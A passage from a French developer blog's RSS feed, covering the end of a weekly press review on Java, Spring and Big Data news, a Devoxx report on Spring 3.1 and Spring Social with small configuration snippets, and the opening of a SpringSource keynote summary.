name="Revuedepresse-SpringIntegration2.1"></a>Spring Integration 2.1</h4><p>Un an après la sortie en <a
href="http://blog.springsource.org/2010/11/23/spring-integration-2-0-ga-released" rel="nofollow">2.0</a>, <a
href="http://www.springsource.org/spring-integration" rel="nofollow">Spring Integration</a> est désormais disponible en version <a
href="http://blog.springsource.org/2012/01/09/spring-integration-2-1-is-now-ga" rel="nofollow">2.1</a>. On notera un <a
href="http://static.springsource.org/spring-integration/docs/2.1.x/reference/htmlsingle/#scripting" rel="nofollow">meilleur support des scripts</a> (Groovy, Ruby/JRuby, Python/Jython, et JavaScript) grâce à la <a
href="http://www.jcp.org/en/jsr/detail?id=223" rel="nofollow">JSR-223</a>. Il est ainsi possible de définir des &#8216;filters, splitters, routers, transformers&#8217; directement dans vos fichiers de configuration ou par l&#8217;intermédiaire de ressources, permettant de cette manière de recharger vos scripts à chaud. On notera également une meilleure intégration avec RabbitMQ/AMQP, GemFire, Redis et MongoDB.</p><h4><a
name="Revuedepresse-SpringDataRedis1.0.0"></a>Spring Data Redis 1.0.0</h4><p><a
href="http://www.springsource.org/spring-data/redis" rel="nofollow">Spring Data Redis</a> est sortie le mois dernier dans sa première version stable. Redis est une base de données clé-valeur avec d&#8217;excellentes performances qui peut stocker les types de données classiques (chaîne de caractères, liste, map &#8230;). Spring Data Redis fournit un niveau d&#8217;abstraction supplémentaire qui facilite l&#8217;interaction avec Redis. Cette version permet également d&#8217;utiliser Redis comme implémentation d&#8217;un cache via <a
href="http://static.springsource.org/spring-data/redis/docs/1.0.0.RELEASE/reference/redis.html#redis:support:cache-abstraction" rel="nofollow">l&#8217;abstraction de Spring</a>. Il s&#8217;agit de la première solution NoSql KeyValue supportée par <a
href="http://www.springsource.org/spring-data" rel="nofollow">Spring Data</a> mais <a
href="http://www.springsource.org/spring-data/riak" rel="nofollow">Riak</a> ne devrait pas se faire attendre longtemps.</p><h4><a
name="Revuedepresse-%22BigData%22parNathanMarzetSamRitchieestdisponibleenMEAP"></a>&laquo;&nbsp;Big Data&nbsp;&raquo; par Nathan Marz et Sam Ritchie est disponible en MEAP</h4><p>Big Data est un univers à part entière et rend non triviale la conception d&#8217;une architecture à la fois rapide (&laquo;&nbsp;temps réel&nbsp;&raquo;) et supportant de grandes volumétries. Deux ingénieurs de Twitter, Nathan Marz -créateur de <a
href="http://blog.xebia.fr/2011/11/07/storm-hadoop-map-reduce-en-temps-reel/" rel="nofollow">Storm</a>- et Sam Ritchie en dévoilent les principes dans <a
href="http://www.manning.com/marz/" rel="nofollow">&laquo;&nbsp;Big Data, Principles and best practices of scalable realtime data systems&nbsp;&raquo;</a>. Le livre n&#8217;est pour l&#8217;instant pas finalisé mais est disponible en MEAP (Manning Early Access Program). Le code bd50 vous permet de disposer d&#8217;une réduction de 50%.</p><h4><a
name="Revuedepresse-Scalding%2CuneAPIScalapourCascadingparTwitter"></a>Scalding, une API Scala pour Cascading par Twitter</h4><p><a
href="http://hadoop.apache.org/" rel="nofollow">Hadoop</a> est un acteur incontournable du BigData. Pour autant, peu vous vanteront la concision des traitements de données implémentés en se basant uniquement sur son API Java. De nombreuses solutions apparaissent pour combler ce manque. Certaines introduisent un nouveau langage comme <a
href="http://pig.apache.org/" rel="nofollow">Pig</a> et <a
href="http://hive.apache.org/" rel="nofollow">Hive</a>. D&#8217;autres proposent une API plus succincte, mais en gardant un langage complet, comme c&#8217;est le cas de <a
href="http://www.cascading.org/" rel="nofollow">Cascading</a>. Mecredi 11 Janvier, Twitter a rendu open source <a
href="https://dev.twitter.com/blog/scalding" rel="nofollow">Scalding</a>, son API Scala pour Cascading, simplifiant encore plus l&#8217;usage de MapReduce dans un environnement Scala. Pour les fans de Clojure, <a
href="https://github.com/nathanmarz/cascalog" rel="nofollow">Cascalog</a> est une solution similaire mais encore plus succincte. La version <a
href="http://groups.google.com/group/cascalog-user/browse_thread/thread/79e601af1ca9d3f1" rel="nofollow">1.8.5</a> est sortie le 4 Janvier.</p><h4><a
name="Revuedepresse-Firefox10sortiraenversionESR"></a>Firefox 10 sortira en version ESR</h4><p>La <a
href="http://blog.mozilla.com/blog/2012/01/10/delivering-a-mozilla-firefox-extended-support-release/" rel="nofollow">fondation Mozilla</a> a finalement décidé de maintenir 2 versions de Firefox en parallèle : la première suivra le cycle de livraison actuel (toutes les 6 semaines); alors que la seconde, plutôt à destination des entreprises, aura un cycle de livraison d&#8217;un an. Cette version ESR (Extended Support Release), dont Firefox 10 sera le premier représentant, sera maintenue avec les mises à jour de sécurité uniquement, le moteur de rendu et la gestion de plugin n&#8217;évoluant pas.</p><h4><a
name="Revuedepresse-Firebug1.9.0"></a>Firebug 1.9.0</h4><p>Pour les inconditionnels de Firefox, la <a
href="http://blog.getfirebug.com/2012/01/06/firebug-1-9-0" rel="nofollow">version 1.9.0 de Firebug</a> vient de sortir. On notera entre autres la possibilité de renvoyer les requêtes HTTP ou encore de visualiser les headers des réponses contenues dans le cache.</p><h3><a
name="Revuedepresse-Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="Revuedepresse-Seren%3ASerializationEnhancer"></a>Seren : Serialization Enhancer</h4><p><a
href="http://thecodersbreakfast.net/" rel="nofollow">Olivier Croisier</a> a annoncé cette semaine SEREN, une bibliothèque destinée à accélérer la sérialisation des objets en améliorant le traitement des wrappers numériques et des chaînes de caractères.<br
/> Prenant la forme d&#8217;un agent pour la JVM, SEREN peut s&#8217;utiliser sans modifier le code existant et peut être ajouté ou supprimé simplement en redémarrant la JVM.</p><p>Comme toute amélioration de performance, il s&#8217;agit d&#8217;un compromis: SEREN propose d&#8217;augmenter un peu la taille du flux binaire sérialisé en échange d&#8217;un gain de vitesse, un compromis que l&#8217;auteur recommande pour la sérialisation mémoire en citant EHCache. Il est possible de configurer les classes &laquo;&nbsp;améliorées&nbsp;&raquo; par SEREN au travers des fichiers de configuration et d&#8217;un mécanisme de filtre qui peut être étendu au besoin.</p><p>Retrouvez l&#8217;introduction de SEREN sur <a
href="http://thecodersbreakfast.net/index.php?post/2012/01/09/Introducing-Seren-the-serialization-speed-enhancer" rel="nofollow">son blog</a> et le code sur <a
href="https://github.com/oliviercroisier/seren" rel="nofollow">github</a>.</p><h4><a
name="Revuedepresse-Apologiedeslambdasdeblockspourjavascript"></a>Apologie des lambdas de blocks pour javascript</h4><p>Le working group ECMA, responsable de la définition du standard ECMAScript implémenté par javascript <a
href="http://wiki.ecmascript.org/doku.php?id=strawman:block_lambda_revival" rel="nofollow">envisage l&#8217;ajout de lambdas de blocks à javascript</a>, un ajout que <a
href="http://yehudakatz.com/" rel="nofollow">Yehuda Katz</a> défend dans un <a
href="http://yehudakatz.com/2012/01/10/javascript-needs-blocks/" rel="nofollow">article de blog</a> parfaitement illustré comparant ruby et javascript sur le terrain du <a
href="http://www.amazon.com/exec/obidos/ASIN/0137098731/wrrrldwideweb" rel="nofollow">principe de correspondance de Tennent</a>, des lambdas de fonctions et des lambdas de blocks.<br
/> Les exemples utilisés présentent des refactorings d&#8217;une forme canonique vers des formes idiomatiques dans les deux langages pour illustrer les principes mis en œuvre, une excellente introduction au sujet.</p><h4><a
name="Revuedepresse-Verbosit%C3%A9deslangagesdeprogrammation"></a>Verbosité des langages de programmation</h4><p>À l&#8217;heure où les comparaisons entre langages tournent souvent en guerres de clochers, <a
href="http://rethrick.com/#about" rel="nofollow">Dhanji R. Prasanna</a> (ancien employé de Google et membre du projet Guice) se livre à une analyse plus posée et réfléchie sur l&#8217;équilibre entre expressivité et lisibilité. Cet article se démarque par son pragmatisme, la pertinence des exemples choisis, et le recul évident de l&#8217;auteur sur un grand nombre de langages.</p><p>Lire <a
href="http://www.informit.com/articles/article.aspx?p=1824790" rel="nofollow">Languages, Verbosity, and Java</a>.</p><h3><a
name="Revuedepresse-Ev%C3%A9nementsdenotrecommunaut%C3%A9enFranceet%C3%A0l%27%C3%A9tranger"></a>Evénements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="Revuedepresse-L%27artisanat%2Cunm%C3%A9tierd%27avenir"></a>L&#8217;artisanat, un métier d&#8217;avenir</h4><p>Plusieurs réflexions ont lieu en ce moment au sein de la communauté pour définir ce qu&#8217;est le métier de développeur. On en a parlé lors du <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20111011" rel="nofollow">Paris JUG d&#8217;Octobre 2011</a>. Le mouvement de fond associé est bien sûr celui du Software Craftsmanship. Nous mettons cette semaine en avant deux entrées de blog pour nous aider à avancer sur le sujet.<br
/> Le <a
href="http://qahatesyou.com/wordpress/2012/01/software-development-is-neither-art-nor-science/" rel="nofollow">premier</a> article postule que le développement informatique ne peut-être vu ni comme un art ni une science. Pour l&#8217;auteur de ce blog, au titre provocateur, notre métier n&#8217;est pas purement un art car <b>le produit fini fait quelque chose</b> ni totalement une science car <b>il n&#8217;y a pas de loi universelle sur le développement, il peut y avoir autant de réponse qu&#8217;il y a de développeurs</b>. On peut accepter ces arguments ou pas. Mais au delà du pur débat d&#8217;idées on se rend compte qu&#8217;il est difficile d&#8217;expliquer un métier si complexe à une personne extérieure.</p><p>L&#8217;auteur revient aussi sur le caractère unique des réalisations informatiques, et unique dans sa réalisation comme ses défauts. Il porte l&#8217;empreinte des personnes qui l&#8217;ont réalisé. Nous avons tous notre propre expérience sur des outils, des méthodes, des technologies, et nous expérimentons quelques fois de nouvelles façons de faire. Cela rend la manière de réaliser le travail éphémère et inscrite dans un contexte.<br
/> C&#8217;est peut-être cela la différence entre produire et écrire du code. Une vision &laquo;&nbsp;industrialiste&nbsp;&raquo; de la production du code induit une idée de volume, de quantitatif. La production serait le résultat d&#8217;un processus établi au résultat attendu, le développeur n&#8217;étant que l&#8217;élément interchangeable de transformation de la spécification à la réalisation.<br
/> L&#8217;autre vision s&#8217;attache plus à l&#8217;aspect qualitatif et humain. Le travail est confié à une personne et est un élément prépondérant dans la rédaction d&#8217;une solution au problème donné. L&#8217;auteur d&#8217;un travail d&#8217;écriture de code se voit assigné une ligne directrice, à lui ensuite de tracer le meilleur chemin.</p><p>Le <a
href="http://www.hiltmon.com/blog/2012/01/11/it-should-only-take-you-a-few-hours-dot-dot-dot/" rel="nofollow">second billet</a> revient sur l&#8217;importance de s&#8217;appuyer sur des personnes qui savent faire les choses. Créer une table de toutes pièces pour le commun des mortels ne semble pas compliqué. Un menuisier professionnel aura lui une toute autre vision de la réalisation. Il pensera à adapter au mieux son savoir-faire au besoin précis du client, anticipera bien plus de problèmes, choisira avec soin les outils et matériaux employés.<br
/> Nous sommes dans un contexte qui nous oblige à réduire le temps nécessaire pour mettre à disposition de nouvelles fonctionnalités. Comment alors expliquer à un utilisateur que le changement de formule de calcul d&#8217;un champ dans un rapport peut prendre plusieurs heures? Échangeons alors sur nos visions des choses. Si le client ne veut pas d&#8217;une table qui dure un siècle, il n&#8217;y a pas de raison de la fabriquer. Si par contre, il n&#8217;en a pas conscience, discutons ensemble pour trouver la meilleure façon de la réaliser. C&#8217;est en travaillant ensemble que le résultat sera celui attendu.</p><h4><a
name="Revuedepresse-UnesemainerichepourlesUserGroups"></a>Une semaine riche pour les User Groups</h4><p>Cette semaine est riche en événements proposés par les UG. Il y en aura pour tous les goûts.</p><p>Ce soir, mardi 17 :</p><ul><li>Le <a
href="http://www.lyonjug.org/" rel="nofollow">Lyon JUG</a> propose une soirée <a
href="http://www.lyonjug.org/evenements/perf-serveur" rel="nofollow">Performance des serveurs en Java</a> animée par <a
href="https://twitter.com/#!/ludomp" rel="nofollow">Ludovic Poitou</a>.</li><li>Le <a
href="http://www.normandyjug.org/" rel="nofollow">Normandie JUG</a> propose une <a
href="http://www.normandyjug.org/2012/01/09/soiree-annotation-avec-olivier-croisier-2/" rel="nofollow">soirée Annotation</a> animée par <a
href="https://twitter.com/#!/oliviercroisier" rel="nofollow">Olivier Croisier</a>.</li></ul><p>Le mercredi 18, <a
href="http://www.alpesjug.org/" rel="nofollow">l&#8217;Alpes JUG</a> propose une soirée <a
href="http://www.jugevents.org/jugevents/event/show.html?id=43468" rel="nofollow">Objectif Cloud</a> avec <a
href="https://twitter.com/#!/paulsandoz" rel="nofollow">Paul Sandoz</a> et <a
href="https://twitter.com/#!/ndeloof" rel="nofollow">Nicolas De Loof</a>.</p><p>Le jeudi 19 :</p><ul><li>Le <a
href="http://www.meetup.com/Paris-Groovy-Grails/" rel="nofollow">Paris Groovy and Grails User Group</a> accueille<a
href="https://it.twitter.com/#!/CedricChampeau" rel="nofollow">Cédric Champeau</a> sur le thème <a
href="http://www.meetup.com/Paris-Groovy-Grails/events/45108892/" rel="nofollow">Groovy 2.0 : un pas vers le typage statique</a>.</li><li>Le <a
href="http://toulousejug.org/" rel="nofollow">Toulouse JUG</a> organise une <a
href="http://toulousejug.org/2012/01/05/soiree-grails-le-1901-a-lepitech/" rel="nofollow">soirée Grails</a> animée par <a
href="https://twitter.com/#!/chipeau" rel="nofollow">Vincent Barrier</a> et <a
href="http://www.linkedin.com/pub/franck-silvestre/22/737/107" rel="nofollow">Franck Silvestre</a>.</li><li>Le <a
href="http://www.meetup.com/Android-Paris/" rel="nofollow">Paris Android User Group</a> propose une <a
href="http://www.meetup.com/Android-Paris/events/46922312/" rel="nofollow">conférence sur Ice Cream Sandwich</a> animée par <a
href="http://leo.cacheux.net/" rel="nofollow">Léo Cacheux</a> et <a
href="https://twitter.com/#!/madCdan" rel="nofollow">Daniel Fages</a>.</li><li>Le <a
href="http://bordeauxjug.org/" rel="nofollow">Bordeaux JUG</a> accueilleura <a
href="https://twitter.com/#!/rmat0n" rel="nofollow">Romain Maton</a> pour une soirée <a
href="http://bordeauxjug.org/20120119_Optimisez_votre_site_mobile" rel="nofollow">Optimisez votre site web sur mobile</a>.</li><li>Le <a
href="http://www.marsjug.org/" rel="nofollow">Mars JUG</a> propose une <a
href="http://www.jugevents.org/jugevents/event/show.html?id=43373" rel="nofollow">soirée EclipseLink</a> animée par <a
href="https://twitter.com/#!/shaunmsmith" rel="nofollow">Shaun Smith</a>.</li></ul><p>Pour vous tenir à jour, suivez le <a
href="https://sites.google.com/site/duchessfr/calendrier-conferences" rel="nofollow">calendrier de conférences maintenu par Duchess France</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Devoxx &#8211; Spring, le futur Spring 3.1 et Spring Social</title><link>http://blog.xebia.fr/2011/11/18/devoxx-spring-le-futur-spring-3-1-et-spring-social/</link> <comments>http://blog.xebia.fr/2011/11/18/devoxx-spring-le-futur-spring-3-1-et-spring-social/#comments</comments> <pubDate>Fri, 18 Nov 2011 09:02:41 +0000</pubDate> <dc:creator>François Marot</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Devoxx]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=9247</guid> <description><![CDATA[Plusieurs conférences sur Spring et son écosystème ont logiquement eu lieu à Devoxx cette année. C&#8217;était hier &#171;&#160;Productivity Enhancements in Spring 3.1&#160;&#187; et aujourd&#8217;hui &#171;&#160;Spring Social&#171;&#160;. Voyons de quoi elles parlaient. Productivity Enhancements in Spring 3.1 Costin Leau a commencé par remettre Spring dans le contexte actuel: l&#8217;évolution de Java EE tend vers une adoption [...]]]></description> <content:encoded><![CDATA[<p>Plusieurs conférences sur Spring et son écosystème ont logiquement eu lieu à Devoxx cette année. C&#8217;était hier &laquo;&nbsp;<a
href="http://www.devoxx.com/display/DV11/Productivity+Enhancements+in+Spring+3.1" rel="nofollow">Productivity Enhancements in Spring 3.1</a>&nbsp;&raquo; et aujourd&#8217;hui &laquo;&nbsp;<a
href="http://www.devoxx.com/display/DV11/Socializing+Your+Spring+Applications" rel="nofollow">Spring Social</a>&laquo;&nbsp;. Voyons de quoi elles parlaient.</p><p><span
style="display: block; text-align: center"><img
src="http://www.springsource.org/sites/all/themes/s2org11/images/home-video-big_shadow.png" style="border: 0px solid black" /></span></p><h3><a
name="Devoxx-Spring%2ClefuturSpring3.1etSpringSocial-ProductivityEnhancementsinSpring3.1"></a>Productivity Enhancements in Spring 3.1</h3><p><a
href="https://twitter.com/#!/costinl" rel="nofollow">Costin Leau</a> a commencé par remettre Spring dans le contexte actuel: l&#8217;évolution de Java EE tend vers une adoption rapide de EE6, Tomcat 7 apporte le support des Servlet 3 (de JEE 6) et le Cloud propose des solutions très diverses, de GAE basé sur Jetty à Amazon Elastic Cloud en passant par VMWare CloudFoundry proposant Tomcat. Bref les solutions sont multiples et Spring entend s&#8217;imposer en tant qu&#8217;élément commun permettant les bonnes pratiques facilitant le passage d&#8217;un environnement à l&#8217;autre.</p><p>Costin est ensuite entré dans le vif du sujet en détaillant les nouveautés qu&#8217;apportera Spring 3.1. Mais une précision s&#8217;imposait d&#8217;abord. Spring est souvent critiqué pour la verbosité de ses appplicationContext.xml, mais Costin a tenu à rappeler que depuis plusieurs années on peut configurer entièrement le conteneur en Java. Et c&#8217;est même disponible en Spring 2.0, grâce à un add-on ! Les critiques envers le xml ne sont donc pas fondées: comme toujours, Spring offre le choix.</p><p>Les nouveautés de Spring 3.1 sont les suivantes:</p><p>Nos applications doivent pouvoir être déployées dans différents environnements (serveur local, Cloud) ainsi que différents contextes. 2 fonctionnalités aident à cela:</p><ul><li>Afin de disposer des MEMES artefacts à déployers dans les  différents environnements, il faut être capable de savoir dans quel environnement se trouve l&#8217;application pour qu&#8217;elle puisse adapter son comportement. On ne veut pas avoir à contruire des war/jar/ear/etc  spécifiques à un environnement donné ! <b>Une abstraction des propriétés</b> a donc été effectuée (plus de détails <a
href="http://blog.springsource.org/2011/02/15/spring-3-1-m1-unified-property-management/" rel="nofollow">ici</a>) et elles peuvent donc être accédées de façon quasi-transparente tout en étant stockées dans:<ul><li>JNDI</li><li>des propriétés systèmes</li><li>des fichiers .properties.</li></ul></li><li>Des <b>profiles de beans</b> permettant d&#8217;activer ou non certains beans seulement dans certains contextes. Par exemple en dev, vous n&#8217;utiliserez que qu&#8217;un mock d&#8217;authentification alors qu&#8217;en production le vrai service sera appelé. Couplé avec la configuration Java-based, on se contentera d&#8217;annoter un bean @Profile(&laquo;&nbsp;dev&nbsp;&raquo;) par exemple.</li><li>Le <b>c-namespace</b> permet de simplifier légerement ses ApplicationContexts. Ainsi un bean pourra s&#8217;écrire<pre class="brush: java; gutter: true; title: ; notranslate">
&lt;bean id=&quot;foo&quot; class=&quot;x.y.Foo&quot; c:bar-ref=&quot;bar&quot; c:baz-ref=&quot;baz&quot; c:email=&quot;foo@bar.com&quot;&gt;
&lt;!-- au lieu de: --&gt;
&lt;bean id=&quot;foo&quot; class=&quot;x.y.Foo&quot;&gt;
  &lt;constructor-arg ref=&quot;bar&quot;/&gt;
  &lt;constructor-arg ref=&quot;baz&quot;/&gt;
  &lt;constructor-arg value=&quot;foo@bar.com&quot;/&gt;
&lt;/bean&gt;
</pre></li><li>L&#8217;utilisation d&#8217;un <b>cache</b> se fera de manière aisée, de façon déclarative. Cette fonctionnalité est basée sur les paramètres d&#8217;entrée de la méthode et le principe est &laquo;&nbsp;même entrée, même sortie&nbsp;&raquo;. Les annotations @Cacheable et @CacheEvict parlent d&#8217;elle-même. Pour cacher les données, EHCache est prévu (ainsi qu&#8217;une ConcurrentMap pour le dev) mais on pourra aussi se brancher aisément sur GemFire ou Redis.<pre class="brush: java; gutter: true; title: ; notranslate">
// ici on utilise seulement la valeur brute de l'ISBN comme clef
@Cacheable(value=&quot;book&quot;, key=&quot;#isbn.rawNumber&quot;)
public Book findBook(ISBN isbn, boolean checkWarehouse, boolean includeUsed)
// Suppression des entrées du cache avant de le recharger
@CacheEvict(value = &quot;books&quot;, allEntries=true)
public void loadBooks(InputStream batch)
</pre></li><li>Les <b>servlet en version 3.0</b> seront de la partie avec un support de l&#8217;upload asynchrone grâce au nouveau <a
href="http://static.springsource.org/spring/docs/3.1.0.RC1/javadoc-api/org/springframework/web/multipart/support/StandardServletMultipartResolver.html" rel="nofollow">MulitpartResolver</a>.</li><li>Spring sera à jour pour supporter de <b>nouvelles versions de librairies</b>:<ul><li>Hibernate 4, pas encore sorti, déjà supporté.</li><li>Quartz 2.0 et 2.1. Mais leurs API n&#8217;étant pas compatible avec les précédentes versions, il faudra sans doute écrire du code spécifique. La compatibilité Quartz 1.5+ est de toutes façons conservée.</li><li>JDBC 4.1 apporté par Java 7</li><li>le framework fork-join lui aussi dans Java 7</li></ul></li></ul><p>Et la question qui vous brûle les lèvres est de savoir quand vous pourrez enfin mettre la main sur toutes ces bonnes choses: la RC1 est déjà disponible, la RC2 devrait débarquer la semaine prochaine et la version finale, Spring 3.1 GA &laquo;&nbsp;soon after&nbsp;&raquo;. Courage, ça ne va pas tarder !</p><p>Pour une description exhaustive des nouveautés de Spring 3.1, rien de mieux que <a
href="http://static.springsource.org/spring/docs/3.1.0.RC1/spring-framework-reference/html/new-in-3.1.html" rel="nofollow">la doc officielle</a>.</p><h3><a
name="Devoxx-Spring%2ClefuturSpring3.1etSpringSocial-SpringSocial"></a>Spring Social</h3><p><span
style="float: right"><img
src="http://www.springsource.org/files/imagefield_thumbs/project/images/Project_Social.png" style="margin: 1em 1em 1em 1em; border: 0px solid black" /></span></p><p><a
href="http://joshlong.com/jl/about.html" rel="nofollow">Josh Long</a> nous a quant à lui présenté <b>Spring Social</b>, une librairie qui fournit des abstractions pour faciliter les interactions avec les réseaux sociaux.</p><p>Comme nous le savons tous, les réseaux sociaux de nos jours sont fondamentaux: nombre de marques comptent sur eux pour leur marketing, pour assurer un support et suivi des utilisateurs, pour obtenir du trafic qualifié sur leur site&#8230; Même si vous n’êtes pas vous-même sur ces réseaux, tôt ou tard, vous travaillerez sur des projets où vous devrez interagir avec eux.</p><p>Tous ces réseau offrent des API HTTP/REST, ce qui est bien. Ce qui est mal par contre, c&#8217;est qu&#8217;ils disposent tous de formats et particularités qui nécessitent d&#8217;écrire du code spécifique à chacun.</p><h4><a
name="Devoxx-Spring%2ClefuturSpring3.1etSpringSocial-Seconnecter"></a>Se connecter</h4><p>Avant d’interagir avec les réseaux sociaux, il faut commencer par s&#8217;y connecter. Là intervient la notion de <a
href="http://static.springsource.org/spring-social/docs/1.0.x/reference/html/serviceprovider.html" rel="nofollow">service provider</a>.</p><h4><a
name="Devoxx-Spring%2ClefuturSpring3.1etSpringSocial-Param%C3%A9trerlaConnection"></a>Paramétrer la Connection</h4><p>Mais encore faut il que votre webapp soit autorisée à manipuler le compte de votre utilisateur sur le réseau social. Pour cela, il faut que celui-ci l&#8217;y autorise. Et comme la suite des étapes, notamment pour l&#8217;authentification OAuth n&#8217;est pas triviale, Spring Social fournit le nécessaire pour faciliter et rendre générique ces étapes dans Spring MVC: c&#8217;est <a
href="http://static.springsource.org/spring-social/docs/1.0.x/reference/html/connecting.html" rel="nofollow">le ConnectController</a>.</p><h4><a
name="Devoxx-Spring%2ClefuturSpring3.1etSpringSocial-Interragir"></a>Interragir</h4><p>Et pour utiliser toute la puissance de chaque réseau social, <a
href="http://static.springsource.org/spring-social/docs/1.0.x/reference/htmlsingle/#table-spring-social-client-modules" rel="nofollow">un module client</a> spécifique est implémenté pour chacun et vous permettra d&#8217;accéder à vos listes d&#8217;amis (Facebook), de twitter (Twitter) ou d&#8217;autoriser un énième chasseur de tête à vous parler du poste extraordinaire qu&#8217;il a pour vous ou vos collègues (LinkedIn).</p><p>L&#8217;avantage d&#8217;un tel système est que si Facebook, par exemple, décide du moindre changement  de comportement de son API, le module client spécifique fournit par Spring sera rapidement mis à jour de façon à ce que vous puissiez continuer de façon transparente à y accéder.</p><p>Bien sûr un tel système d’abstraction a un certain coût et si vous souhaitez seulement interagir avec Twitter par exemple, vous feriez peut être mieux de passer directement par une librairie spécifique comme <a
href="http://twitter4j.org" rel="nofollow">Twitter4J</a>. Mais si vos besoin évoluent et que vous pouvez être amené à ajouter Facebook ou TripIt, la petite plomberie requise par Spring Social sera bien négligeable face au gain apporté par l&#8217;API unifiée.</p><p>Pour terminer, Josh a parlé de l’intégration de Spring Social avec Spring Intégration. Ce dernier apporte tout particulièrement le <a
href="http://en.wikipedia.org/wiki/Hollywood_Principle" rel="nofollow">principe d&#8217;Hollywood</a> (&laquo;&nbsp;don&#8217;t call us we&#8217;ll call you&nbsp;&raquo;) permettant de définir des callback qui seront appelés lorsque certains critères (plus de x mails reçus, arrivé d&#8217;un tweet, etc&#8230;) seront vérifiés. L&#8217;intégration se fait aisément avec des flux comme Twitter, RSS/Atom, l&#8217;envoi et la réception de mails POP3, SMTP, IMAP&#8230;</p><p>Bref, en plus du stand CloudFoundry, Spring était bien présent cette année sur le salon au travers de plusieurs conférence. Le framework continue à évoluer et à abstraire les accès à d&#8217;autres APIs. On regrettera juste ne pas avoir eu la moindre présentation sur Grails à se mettre sous la dent, d&#8217;autant que la version 2.0 ne saurait tarder.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/11/18/devoxx-spring-le-futur-spring-3-1-et-spring-social/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>What&#8217;s Next &#8211; La Keynote d&#8217;Adrian Colyer</title><link>http://blog.xebia.fr/2011/06/06/whats-next-la-keynote-dadrian-colyer/</link> <comments>http://blog.xebia.fr/2011/06/06/whats-next-la-keynote-dadrian-colyer/#comments</comments> <pubDate>Mon, 06 Jun 2011 11:40:26 +0000</pubDate> <dc:creator>Séven Le Mesle</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Non classé]]></category> <category><![CDATA[Android]]></category> <category><![CDATA[Cloud / NoSQL]]></category> <category><![CDATA[CloudFoundry]]></category> <category><![CDATA[social network]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[What's Next]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=7956</guid> <description><![CDATA[A l&#8217;occasion de la what&#8217;s next qui se tenait jeudi 26 et vendredi 27 mai au grand rex à paris, le CTO de springsource est venu nous présenter les nouveaux projets et l&#8217;actualité de l&#8217;éditeur. plus précisément adrian colyer a commencé par nous parler des nouveaux défis de l’informatique, avec la mobilité et le développement [...]]]></description> <content:encoded><![CDATA[<div
align="center" style="float:right;margin:5px;"> <a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/spring09_logo.png"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/spring09_logo.png" border="0" alt="" /><br
/> </a></div><p> A l&#8217;occasion de la what&#8217;s next qui se tenait jeudi 26 et vendredi 27 mai au grand rex à paris, le CTO de springsource est venu nous présenter les nouveaux projets et l&#8217;actualité de l&#8217;éditeur. plus précisément adrian colyer a commencé par nous parler des nouveaux défis de l’informatique, avec la mobilité et le développement android, les réseaux sociaux, et le cloud. tous ces sujets correspondent aux nouveaux besoins identifiés par springsource. il faut désormais déployer nos applications sur tout type de plateforme allant du site web à l’application mobile native, en s’interfaçant avec des réseaux sociaux comme les api facebook connect et twitter par exemple.</p><h3><a
name="Ledveloppementmobile"></a>Le développement mobile</h3><p><a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/android.jpg" style="float:right;"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/android.jpg" alt="android" title="android" width="200" height="150" class="alignright size-full wp-image-7960" /></a><br
/> SpringSource s’intéresse de près à l’essor d’Android et fournit des solutions pour faciliter le développement d’applications pour cette nouvelle plateforme.<br
/> Le projet <a
href="http://www.springsource.org/spring-android" title="Spring-Android" >Spring-Android</a> fournit des templates de clients REST pour faciliter la consommation des services du Backend. Il s’agit donc d’une version optimisée du RestTemplate pour l’environnement Android. Ce template permet de configurer facilement <a
href="http://hc.apache.org/httpcomponents-client-ga/index.html" title="HttpClient 4X" >HttpClient 4.X</a> avec du Marshalling JSON, XML, ou RSS.<br
/> Le deuxième besoin adressé par spring-android concerne l’authentification à des services distants, pour utiliser par exemple l’API d’authentification Twitter, ainsi qu’un service d’authentification propriétaire. Spring-android-auth permet d’une part de persister les informations de connexion et de session dans la base SQLite embarquée par Android, et d’autre part d’établir des sessions web via l’implémentation du protocole OAuth 1 (pour Twitter) et 2 (pour Facebook).<br
/> Adrian Colyer nous a aussi parlé du développement de l’application d’exemple <a
href="http://www.springsource.org/greenhouse" title="GreenHouse" >GreenHouse</a> développée en open source pour démontrer les capacités des projets mobiles de l’éditeur et pour mettre en avant les bonnes pratiques en la matière. GreenHouse repose sur l’utilisation de <a
href="http://www.springsource.org/spring-mobile" title="spring-mobile" >spring-mobile</a>, une extension de spring-mvc pour créer des interfaces web destinées aux SmartPhones, <a
href="http://www.springsource.org/spring-social" title="springsocial" >spring-social</a> pour s’interfacer avec les réseaux sociaux, et spring-android pour l’application cliente Android.<br
/> À vrai dire tous ces projets existent déjà depuis 2010 et ne sont pas vraiment de grandes nouveautés, mais il est tout de même intéressant de noter l’orientation mobile prise par l’éditeur.</p><h3><a
name="Lesrseauxsociaux"></a>Les réseaux sociaux</h3><p><a
href="http://blog.xebia.fr/wp-content/uploads/2011/06/Social-Spring.png" style="float:right;margin:5px;"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/06/Social-Spring.png" alt="Social-Spring" title="Social-Spring" width="132" height="125" class="alignright size-full wp-image-7963" /></a><br
/> Après le nomadisme, Adrian Colyer a continué sa Keynote en nous parlant des nouveaux usages des réseaux sociaux et en mettant en avant le fait qu’aujourd’hui toutes les applications se doivent d’être connectées aux différents réseaux. <a
